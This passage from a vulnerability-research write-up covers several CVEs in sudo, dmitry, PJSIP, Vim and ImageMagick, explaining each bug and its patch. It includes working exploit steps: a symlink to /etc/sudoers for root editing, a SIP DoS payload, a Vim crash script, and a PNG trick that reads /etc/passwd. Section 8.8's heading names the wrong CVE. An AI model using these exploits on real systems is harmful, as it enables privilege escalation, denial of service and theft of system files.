The path defined can lead to any user writeable directory like: `/home/*/*/test.txt` or `/tmp/*/*/test.txt` as long as the file is in a user-writeable directory and there are two wildcards. The exploit works by doing a symbolic link from the `test.txt` file to a root only file (like `/etc/sudoers`). This is easily done by the user with `ln -s /etc/sudoers /tmp/s/o/test.txt`. Then running sudoedit on that file will allow root editing.

Running the exploit. To test this exploit, first go to `vulnerable/` in the project directory. Then, the container can be built with:

```
1 docker build -t cve-2015-5602:vuln ./.
```

Then the container can be initialized with:

```
1 docker run -it cve-2015-5602:vuln
```

The `privesc.sh` file can be run with:

```
1 bash ./privesc.sh
```

This will open the `/etc/sudoers` file allowing the user to edit that file and give them escalated privileges.

Patch. The patch is an important part of understanding this exploit. Since the parser was not necessarily the issue, the solution reflected that. In the patch diff (https://bugzilla.sudo.ws/attachment.cgi?id=466&action=diff), on line 287 this was added:

```
1 subdfd = openat(dfd, path, O_RDONLY | (is_writable ? O_NOFOLLOW : 0), 0);
```

This line essentially checked if the file is writeable and a symlink. If it is both, the file cannot be opened. This means that non-symlink files may still be able to be accessed, but by the definition of the line in the sudoers file, this would be intended.

Attempting the exploit. Attempting to run the exploit with the patched version of the program will output this:

```
1 sudoedit: /tmp/s/o/test.txt: editing symbolic links is not permitted
```

Unintended Consequences. The one potential issue with this is that any symlinked file that is writeable would not be able to be accessed with this line added. For better security, this should not be possible anyways, but this is just one thing to be noted after looking into the code of the program.

What can be learned. This vulnerability allowed for a simple exploit but it is important to look at the approach the developers took with the patch. If the developers had tried to improve just the parser to prevent unintended file access, it could leave holes for future attacks. That type of understanding is important to look for in patch diffs when doing vulnerability research. If they do not solve the root cause of the issue, there remains the possibility of new exploits.

8.4 CVE-2017-7938

There is a buffer overflow vulnerability in the `dmitry` program when the `argv[1]` is too long. This leads to a segmentation fault (a fault due to improper memory access), due to an attempted dereference of the characters in the buffer. The issue is that the program's default compilation options take that into account and prevent any real exploitation as a result of this

buffer overflow. This write-up will go into detail about the vulnerability, though, before tackling a separate vulnerability in the code.

The Vulnerability. The vulnerability is a small buffer overflow that was found in the program likely by running valgrind, an automated variable checking program against the program with different `argv` sizes. The program's normal functionality takes the `argv[argc-1]` which is the last argument to the program and saves that value to the `host_ip` or `host_name` variables. The value does not actually get bounds checked, so the attacker can write as much as desired into the argv. This is shown by the line 152 of `dmitry.c` here: This overflows the stack once the `host_ip` and `host_name`

```
1 strcpy(host_ip, argv[argc - 1]);
```

variable are overwritten. The issue with continuing this exploit path is that control flow becomes hard to change. This is because a buffer that overwrites more than 8 bytes past those variables (roughly 145 bytes) will corrupt the variables of functions later in the program causing an indefinite read to an empty socket. Looking into the `ip_string_search` function in the source code can reveal more information about this issue. This is where the infinite read ends up. Technically control flow was manipulated by the user input, but the more precise modification is much harder to achieve.

The Second Vulnerability. The second vulnerability was found in the `get_nwhois()` function. The normal usage of this function is to resolve the host that has been specified by the user input. Upon gathering this information, the program will use `printf()` to display the host that has been specified. The `printf` call does not include a specified format string allowing the attacker to exploit a format string vulnerability. This is what that looks like:

```
1 /* Print introduction to function */
2 memset(linebuff, '\0', sizeof(linebuff));
3 snprintf(linebuff, sizeof(linebuff), "\nGathered Inic-whois information for %s\n", fhost);
4 print_line(linebuff); // VULNERABLE
5
6 memset(linebuff, '\0', sizeof(linebuff));
7 snprintf(linebuff, sizeof(linebuff), "---------------------------------\n");
8 print_line(linebuff); // VULNERABLE
```

After some testing, it was possible to read content from the stack by using the `%p` format string. Since there are no restrictions to the characters that are placed put in `argv`, a specially crafted payload could overwrite arbitrary locations in memory. The main restriction is that the argv does not allow for null bytes making it much more difficult to conduct full arbitrary write.

The Exploit. The exploit that was made is a stack-offset format string arbitrary write. Essentially what this does is corrupt the saved EBP of the `get_nwhois()` function. This, in turn corrupts the stack modifying the return value of the main function. These snippets from GDB help explain what is actually happening here. This is what it looked like before: Image on github: https://github.com/lucasballr/exploitables/blob/main/CVE-2017-7938/img/before.png And this is what it looked like afterward. Image on github: https://github.com/lucasballr/exploitables/blob/main/CVE-2017-7938/img/after.png

As a result, it was possible to stack pivot to any location allowing for a much more fine grained control flow modification.

The patch. The solution to both of these problems was relatively straightforward. For the buffer overflow they just replaced the `strcpy()` function (which is known for being very vulnerable in practice) with the more secure `strncpy()` which copies a only the allowed size for the variable. This is what that looks like. The solution to the format string

```
1 strncpy(host_name, argv[argc - 1], MAXNAMELEN - 1);
2 host_name[MAXNAMELEN - 1] = '\0';
```

vulnerability was even more simple: Just add a dedicated format string to the printf statement.

```
print_line("%s", linebuff);
```

What can be learned from this. The main thing to be learned from this situation is understanding how this could be exploited in the real world. One option could be that the user has the dmitry program on their computer and they get manipulated into running a maliciously formed program that then calls dmitry with these bad arguments. The other option could be a remote server that runs dmitry as a service. In this case, the user could input a malicious host string causing either a denial of service or a full RCE on the remote machine.

When it comes to exploit creation, fully understanding the amount of control the attacker has over the program is important in order to fully manipulate the control flow. Just simply knowing there is a format string vulnerability is not enough. It is necessary to actually dive into the memory of the program to know what is happening to the memory. This is much like a ctf challenge and this is definitely something that could be seen in a CTF which makes it a perfect example of how lots of real world vulnerabilities can be exploited the same way a CTF challenge can.

Running the exploit. It is possible to run this on most Linux based operating systems as long as have pwntools is installed. Since this is a simple exploit, there is not much need for a more complex environment. In order to continue the exploit to potentially escalate privileges, the Dockerfile exists to assist with practicing the exploit creation.

8.5 CVE-2017-16872

This vulnerability was found by Youngsung Kim from LINE. It is an interesting bug regarding the type conversions between different numerical datatypes. They discovered that PJSIP was doing improper type conversions on information that could be manipulated by a remote request.

The vulnerability. The vulnerability is pretty well explained here: https://engineering.linecorp.com/en/blog/buffer-overflow-in-pjsip-a-voip-open-source-library, but this write-up will go over the main points in order to understand how an exploit can be created.

The issue stems from the converstion from an `int` to an `unsigned long`. When this kind of type conversion happens, the process does something called a sign extension that essentially just extends the value to fill the space of an unsigned long. For example, a value like `0xFFFFFFFF` or `-1` as an `int` would sign extend to `0xFFFFFFFFFFFFFFFF` as a long. This would normally not be a problem, but the `pj_utoa()` custom function expects an unsigned long and creates the string based off an unsigned long. A normal 4-byte integer would normally max out at 10 bytes in string form, but the sign extension has doubled the size of the string to 20 bytes. At the beginning of the function, the `len_required` value gets set in order to allocate the proper size heap block to get the job done. This value gets set to the length of the `data } 9 } 9 } 16` totalling 34 bytes past the data in the request. This would not be a problem if it was only doing one `utoa()` function, but the program runs 2. One for the `CSeq` number and one for the `port`. As a result, there are have 40 possible bytes that could be allocated to a 34 byte space creating a buffer overflow.

This begs the question for why the vulnerability matters in the first place. The remote requester has control over those numbers as they get sent in, so they arbitrarily create these buffer overflows. This is what the exploit will take advantage of. Further understanding of exactly how this vulnerability works can be found on the original report by Kim.

The exploit. Since the heap allocator for PJ was custom built, it was hard to get automated tools to do the heap checking. As a result, most of the program analysis was done through GDB by manually looking at the values to see how they were being modified. This (https://issues-archive.asterisk.org/ASTERISK-27319) ticket gave me a good starting point for looking into these values. Basically the goal of the exploit is to modify the payload so that it fills the block of space that gets allocated to the to the heap, but not so much that it forces the heap allocator to allocate a larger chunk. The way to test this is to first get the `len_required` variable which is based on the length of the request. Then get the distance between pool chunks made by the allocator. If the PJSIP program is compiled with debugging symbols, the variable symbols can be referenced by name in GDB to get the proper size. Unfortunately, since this is a custom heap implementation, automated tools like pwndbg's `heap` functionality do not work. This is what that looks like:

```
pwndbg> p pool->block_list->next->end - pool->block_list->next->cur
\$1 = 1488
```

```
pwndbg> p len_required
\$3 = 1487
```

It is essential to get to the point in the `create_tsx_key_2543()` function that actually sets the value of this variable to the size of the request. The payload was made the perfect size, so that it is just small enough to not allocate a larger block. Now the payload fits in the heap block, but it is still unclear how the heap object gets corrupted. Turns out, the program just calls the `pj_utoa()` function multiple times and appends those values to the end of the string separated by a `":"` with some `"$"` characters separating parts of it. So the way it would look in the heap is something like `data:cseq:port\0`. Looking at the string in memory reveals exactly that:

```
pwndbg> x/s 0x5a70ff9beff0 -0x30   ### The is the point in memory at the end of the heap block
0x5a70ff9befc0:        'A' <repeats 13 times>, "$18446744073709551614$$a$4:18446744073709551614$"
```

So now the heap has been overwritten, but to really understand this exploit to see what is actually happening it is necessary to look at what is being overwritten. The method above was used to look at the memory before and after the buffer overflow to see what is being overwritten:

```
### BEFORE THE OVERFLOW
pwndbg> print *pool->block_list->next
$1 = {
  prev = 0x6060345810f0,
  next = 0x606034581120,
  buf = 0x6060345820d8 "\240\020X4``",
  cur = 0x606034583a20 "",
  end = 0x606034583ff0 "0@X4``"
}
pwndbg> x/10xg 0x606034583ff0 - 0x20
0x606034583fd0:        0x0000000000000040        0x0000000000000050
0x606034583fe0:        0x0000606034583f40        0x0000000000000003
0x606034583ff0:        0x0000606034584030        0x0000000000000211 ## This is the beginning of the block

### AFTER THE OVERFLOW
pwndbg> x/10xg 0x606034583ff0 - 0x20
0x606034583fd0:        0x3730343437363434        0x3631353539303733
0x606034583fe0:        0x3a34246124243431        0x3434373634343831
0x606034583ff0:        0x3535393037333730        0x0000002434313631
## Looks like the 0x211 and prev value got overwritten
```

It looks like the `0x211` that was in the next block of the heap was overwritten. This turns out to be the size value for the object in memory. Since this has been overwritten, it will be improperly referenced if it is ever used later in the program. Unfortunately for the writer of the exploit, this object was only referenced when the heap attempts to be reset in the `pj_pool_reset()` function. This function just goes through the objects in the heap and tries to free them. Obviously since the size value is set too high, an error will occur. This is how a DoS is achieved by the exploit. Since the heap overflow raises an error, the entire program stops. This is what that looks like:

```
Send this payload:
b'OPTIONS sip:3 SIP/2.0\nf: <sip:2>\nt: <sip:1>\ni: a\nCSeq: 18446744073709551614
<AAAAAA...1451 times...> \nv: SIP/2.0/U 4:18446744073709551614\n\n'

Get this effect:
double free or corruption (!prev)
Aborted (core dumped)
```

Compiling the program with address sanitizer enabled a detection of the heap buffer overflow. Here is the output of that crash:

```
=================================================================
==7==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x625000004840
at pc 0x6473f063c542 bp 0x725cd8bfe980 sp 0x725cd8bfe978
WRITE of size 1 at 0x625000004840 thread T2
```

```
    #0 0x6473f063c541 in pj_utoa_pad ../src/pj/string.c:339
    #1 0x6473f063c48c in pj_utoa ../src/pj/string.c:325
    #2 0x6473f0383dc5 in create_tsx_key_2543 ../src/pjsip/sip_transaction.c:338
    #3 0x6473f0384472 in pjsip_tsx_create_key ../src/pjsip/sip_transaction.c:419
    #4 0x6473f0385553 in mod_tsx_layer_on_rx_request ../src/pjsip/sip_transaction.c:802
    #5 0x6473f03417be in pjsip_endpt_process_rx_data ../src/pjsip/sip_endpoint.c:887
    #6 0x6473f03420cc in endpt_on_rx_msg ../src/pjsip/sip_endpoint.c:1037
    #7 0x6473f035c8aa in pjsip_tpmgr_receive_packet ../src/pjsip/sip_transport.c:1962
    #8 0x6473f035f006 in udp_on_read_complete ../src/pjsip/sip_transport_udp.c:171
    #9 0x6473f05fcbcc in ioqueue_dispatch_read_event ../src/pj/ioqueue_common_abs.c:605
    #10 0x6473f06021a4 in pj_ioqueue_poll ../src/pj/ioqueue_select.c:994
    #11 0x6473f0340f04 in pjsip_endpt_handle_events2 ../src/pjsip/sip_endpoint.c:742
    #12 0x6473f028d1ab in pjsua_handle_events ../src/pjsua-lib/pjsua_core.c:1988
    #13 0x6473f02870fb in worker_thread ../src/pjsua-lib/pjsua_core.c:704
    #14 0x6473f0604e51 in thread_main ../src/pj/os_core_unix.c:541
    #15 0x725cddfdcfa2 in start_thread /build/reproducible-path/glibc-2.28/nptl/pthread_create.c:486
    #16 0x725cdcab506e in clone (/lib/x86_64-linux-gnu/libc.so.6}0xf906e)

0x625000004840 is located 0 bytes to the right of 8000-byte region [0x625000002900,0x625000004840)
allocated by thread T0 here:
    #0 0x725cdd2e9330 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.5}0xe9330)
    #1 0x6473f064128c in default_block_alloc ../src/pj/pool_policy_malloc.c:46
    #2 0x6473f061c6dc in pj_pool_create_block ../src/pj/pool.c:61
    #3 0x6473f061ca2b in pj_pool_allocate_find ../src/pj/pool.c:138
    #4 0x6473f061c454 in pj_pool_alloc ../include/pj/pool_i.h:62
    #5 0x6473f061c48d in pj_pool_calloc ../include/pj/pool_i.h:69
    #6 0x6473f035e955 in pj_pool_zalloc ../../pjlib/include/pj/pool.h:485
    #7 0x6473f035ea2b in init_rdata ../src/pjsip/sip_transport_udp.c:98
    #8 0x6473f03624c8 in transport_attach ../src/pjsip/sip_transport_udp.c:830
    #9 0x6473f03627f4 in pjsip_udp_transport_attach2 ../src/pjsip/sip_transport_udp.c:879
    #10 0x6473f028e6d4 in pjsua_transport_create ../src/pjsua-lib/pjsua_core.c:2312
    #11 0x6473f021f65a in app_init ../src/pjsua/pjsua_app.c:1598
    #12 0x6473f02217b0 in pjsua_app_init ../src/pjsua/pjsua_app.c:1888
    #13 0x6473f02167b4 in main_func ../src/pjsua/main.c:108
    #14 0x6473f0607e66 in pj_run_app ../src/pj/os_core_unix.c:1952
    #15 0x6473f021683f in main ../src/pjsua/main.c:129
    #16 0x725cdc9e009a in __libc_start_main ../csu/libc-start.c:308

Thread T2 created by T0 here:
    #0 0x725cdd250db0 in __interceptor_pthread_create (/usr/lib/x86_64-linux-gnu/libasan.so.5}0x50db0)
    #1 0x6473f060522d in pj_thread_create ../src/pj/os_core_unix.c:634
    #2 0x6473f02887be in pjsua_init ../src/pjsua-lib/pjsua_core.c:1118
    #3 0x6473f021e23e in app_init ../src/pjsua/pjsua_app.c:1356
    #4 0x6473f02217b0 in pjsua_app_init ../src/pjsua/pjsua_app.c:1888
    #5 0x6473f02167b4 in main_func ../src/pjsua/main.c:108
    #6 0x6473f0607e66 in pj_run_app ../src/pj/os_core_unix.c:1952
    #7 0x6473f021683f in main ../src/pjsua/main.c:129
    #8 0x725cdc9e009a in __libc_start_main ../csu/libc-start.c:308

SUMMARY: AddressSanitizer: heap-buffer-overflow ../src/pj/string.c:339 in pj_utoa_pad
Shadow bytes around the buggy address:
  0x0c4a7fff88b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a7fff88c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a7fff88d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a7fff88e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a7fff88f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c4a7fff8900: 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa
  0x0c4a7fff8910: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
```

```
  0x0c4a7fff8920: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a7fff8930: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a7fff8940: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a7fff8950: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==7==ABORTING
```

The patch. Since this issue was rampant throughout the codebase of PJSIP, the fix was to validate the size of the request header values so that they fit into 9 byte sections. Here is the error that is received when trying to run the exploit on the patched version:

```
03:29:41.506           sip_parser.c !Error parsing
'18446744073709551614': String value was greater than the maximum allowed value.
03:29:41.506           sip_parser.c  Error parsing
'18446744073709551614': String value was greater than the maximum allowed value.
```

One extra fix that the developers could do is make sure the type of values going into functions are always the same as the value types being used within the function. This type confusion could cause more vulnerabilities in the future as development on this project continues.

Going further. This is about as far as this write-up will go. There is one thing that could be explored further, which is the `prev` pointer of that heap object. Since the exploit successfully overwrites that, it is theoretically possible to put a value that points somewhere else in the program memory causing an unknown effect during the `free` function of the program. The reason this write-up will not expand on this is because sending the right value would require breaking/leaking ASLR in the program, which is outside the scope of this vulnerability.

What can we learn from this. This is a helpful heap vulnerability to learn from. Since this is a custom heap implementation, it required diving into the heap values and looking at the raw memory to see what was really going on. Understanding heap corruption is vital to modern day exploitation and CTF challenges rarely mimic this type of vulnerability. This is mainly because heap corruption in the real world rarely leads to an actual full chain get-a-shell exploit. Instead, CTF challenges have to alter the program to make it straightforward to modify the heap. This implementation is a great practice for real-world vulnerabilities since it is all custom-built and requires looking at how it really works to build an exploit for it.

8.6 CVE-2019-14287

This is a write-up for CVE-2019-14287 affecting versions of sudo older than 1.8.28. The vulnerability is an integer underflow error in the `UID` verification functionality of Sudo.

The vulnerability. The issue stemmed from the value `-1` being interpreted as `0` for the user ID. The user would need a line in the sudoers file that specified that they can run a program as any user with `RUNAS ALL`, but also not root with `!root`.

Since the `UID` value `-1` was technically not `0`, the program would allow the user to run as `UID -1`, but then `-1` would be interpreted as `0` when thet integer was read by the permissions checking functionality allowing this to be run as root.

The patch. Here was the part of the patch which disabled the ability to use `-1` as the user.

```
+   /* Disallow id -1, which means "no change". */
+   if (!valid_separator(p, ep, sep) || lval == -1) {

...

+   /* Disallow id -1, which means "no change". */
+   if (!valid_separator(p, ep, sep) || ulval == UINT_MAX) {
+      if (errstr != NULL)
+       *errstr = N_("invalid value");
+      errno = EINVAL;
```

The exploit. This is a simple vulnerability, but this CVE was great for practice building the exploitation environment. Two Dockerfiles were created: one with the vulnerable version of Sudo `(1.8.27)` and one with the patched version `(1.8.28)`. Otherwise, they are both the same. A simple program was written to test the version of Sudo and run the exploit if the vulnerability exists.

References. (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14287)

How to test the exploit. Build the Dockerfile for either the vulnerable or patched version:

```
docker build . -t cve-2019-14287
```

Run the Dockerfile (this will log in as "testuser"):

```
docker run -it cve-2019-14287
```

Run the exploit:

```
$ privesc.sh
```

8.7 CVE-2022-3296

Understanding the vulnerability. To understand this vulnerability, it is important to understand how scripting is implemented into Vim. Essentially the way it works is either by typing `:` in normal mode and typing out a command OR specifying a script with the `-S` option when launching the program. The vulnerability exists in either implementation, but it is easier to use the `-S` capability which is more likely to be used by a bad actor.

This is a vulnerability in the `ex_finally` function in the `try/catch` functionality of Vim scripting. The `:try` command does exactly what a normal try block would do: it attempts to run something, but if it does not work, it will `catch` the exception made by the program. An example of this would be something like this:

```
function! TryCatchExample()
    try
        execute 'edit /path/to/file'
    catch
        echo "Error opening file: " . v:exception
    finally
        echo "Performing cleanup actions"
    endtry
endfunction
```

If the file in the try block does not exist, the catch will be thrown and will show an exception. The issue comes when you try to start some loops and conditionals within the try block and then call the finally keyword without ending the loops. Since these loops and conditionals do not have ‘end‘ statements, they will cause an error. This would normally be

handled by the try block and returned by the catch, but since the finally block is being hit with no `catch` and no `end` for the opened conditionals, the `try` function runs into a problem unraveling the call stack and tries to dereference the `-1` index. This essentially enables an attacker to manipulate memory around the `cstack` variable (which is just on the stack at the time of modification).

The exploit. The exploit is just a small script that opens a try block and then does a bunch of `if/for` statements in between the `try` block and a `finally` block. This will fill up the call stack to be unraveled during the `ex_finally` function. The script looks like this:

```
try
for         # for loop opening
0           # for loop value. doesn't matter what this is.
if          # first if block opening
endwhile    # This is required to break the infinite loop but keep the for block
if          # second if block opening
finally
```

This sequence of commands creates a dereference of the `cstack` at index `-1`. Since the call stack is technically able to be manipulated, the exploit could add some malicious information, or put memory values at the beginning of the call stack to modify the program internal memory. This can be observed happening when adding more `if` conditionals to this script. The address sanitizer runs into an infinite loop due to a faulty memory access. Since the vulnerability report does not indicate a guaranteed manipulation of the memory, this is where the write-up ends. With further exploration, it is theoretically possible to manipulate the internal memory of the program to change the control flow.

The patch. This was patched in the Sep 24, 2022 commit on github with a fundamental change to the cstack checking within the `ex_finally()` function. This section was removed:

```
if (!(cstack->cs_flags[cstack->cs_idx] & CSF_TRY))
{
    eap->errmsg = get_end_emsg(cstack);
    for (idx = cstack->cs_idx - 1; idx > 0; --idx)
    if (cstack->cs_flags[idx] & CSF_TRY)
        break;
    pending = CSTP_ERROR;
}
else
    idx = cstack->cs_idx;
```

and this replaced it:

```
if (!(cstack->cs_flags[cstack->cs_idx] & CSF_TRY))
{
    eap->errmsg = get_end_emsg(cstack);
    pending = CSTP_ERROR;
}
```

The comment in there explains a little bit of the change. Basically, instead of looping backward through the call stack, it just goes straight to the error. This prevents the faulty unraveling of the stack.

What can be learned from this. In the modern day, CVEs are graded based off the potential impact in the real world. Just because a CVE has a critical score does not mean that there is a proven pop-a-shell chain. This is something that is important to understand in exploit writing for real-world exploits.

Running the exploit. Go into the `vulnerable/` directory that I have shown and run `docker build -t cve-2022-3296 .` This will build the vulnerable version of vim. Then the container can be ran with `docker run -it cve-2022-3296` to get

into a shell for the container. This should open a shell in the directory of the vim binary. Then the vulnerable program can be ran with `./vim -u NONE -i NONE -n -m -X -Z -e -s -S /tmp/something` to see the sanitizer error. In order to modify the memory during execution, just modify the bytes in the e.py file and run `./e.py`. This might have to be run outside of the container. Then, the `something` script can be copied into the container. Then, run the program with `pwndbg -args ./vim -u NONE -i NONE -n -m -X -Z -e -s -S /tmp/something`.

8.8 CVE-2012-4409

This is an explanation and exploit for CVE-2022-44268.

The Vulnerability. The vulnerability is a small piece of the `ReadOnePNGImage()` function within the `coders/png.c` file. This function parses all of the chunks in the png being converted. One of the chunks that can be added to the png is a section is a `tEXt` chunk called the profile. When adding a readable filename to this profile, the program will read the file and add the contents to the Raw Profile section of the "converted" image. This creates an arbitrary read on any filesystem that this version of ImageMagick is on. The official CVE database says that this exploit affects versions `7.1.0-49`, but after some testing it was found that the patch was not added until version `7.1.0-52`. This leaves two versions still vulnerable while remaining unreported.

The patch. The patch was added in version `7.1.0-52` here: (https://github.com/ImageMagick/ImageMagick/commit/05673e63c919e61ffa1107804d1138c46547a475) and here: (https://github.com/ImageMagick/ImageMagick/commit/09e738e84bd78c4737718804de821e99f82d99219) It just removed the resolution of the profile making the converted file just show the original profile as intended.

The exploit. The exploit is relatively straightforward after understanding the vulnerability. The main task is to add a `tEXt` chunk in an existing png file that contains the absolute path for the desired file. Something like this: `profile: /etc/passwd`. The next step is to run some kind of conversion on the file in order to force the ImageMagick program to run the `ReadOnePNGImage()` function. When this happens, the converted file will have the contents of the desired file as long as the original file is readable by the user that runs the ImageMagick program. In the Docker example, the program is running as root making to possible to read any file. In the real world, this conversion might be happening on a server somewhere not running as root, so it would require the attacker to understand a little bit about the filesystem.

Considering the vulnerability description here: (https://www.metabaseq.com/imagemagick-zero-days/) explained the majority of the exploit and how it works, there was minimal work to do for the exploit. The real effort is in understanding what exactly the modified part of the PNG is and how to add that do make the exploit work. This can be done with the `pypng` library in python. It allows the exploit developer to read the chunks of a normal PNG to obtain a sample file. Then it allows the exploit developer to modify that list of chunks in order to have a full png to use for the exploit.

The environment. The example given here is a docker container that has compiled the most recent exploitable version of ImageMagick. This slightly differs from the template docker container that is in the program description because it required some extra dependencies in order to make sure the ImageMagick program can read PNG files. The `checkinstall` program was used to verify that the `libpng` library is installed and ImageMagick can see it before compiling.

In a real-world scenario, the version would likely be hidden from the attacker making it a black-box pentesting environment and providing an advantage to the defender.

How run the exploit. First make sure to have all of the tools installed. Here are the required tools:

- `identify`: (https://man.archlinux.org/man/identify.1)
- `docker`:(https://wiki.archlinux.org/title/Docker)

Then, the docker container needs to be built:

```
1 docker build -t cve-2022-44268:v51 ./vulnerable
```

The patched version can be built as well for verification purposes:

```
1 docker build -t cve-2022-44268:v52 ./patched
```

Then, the respective exploits can be ran:

```
cd vulnerable/ # or cd patched/
python3 e.py yinyang.png <desired_file_path>
```

Running the exploit against the vulnerable version will result in the selected file being placed in the current directory.

References

- https://github.com/ImageMagick/ImageMagick
- https://www.metabaseq.com/imagemagick-zero-days/
- https://nvd.nist.gov/vuln/detail/CVE-2022-44268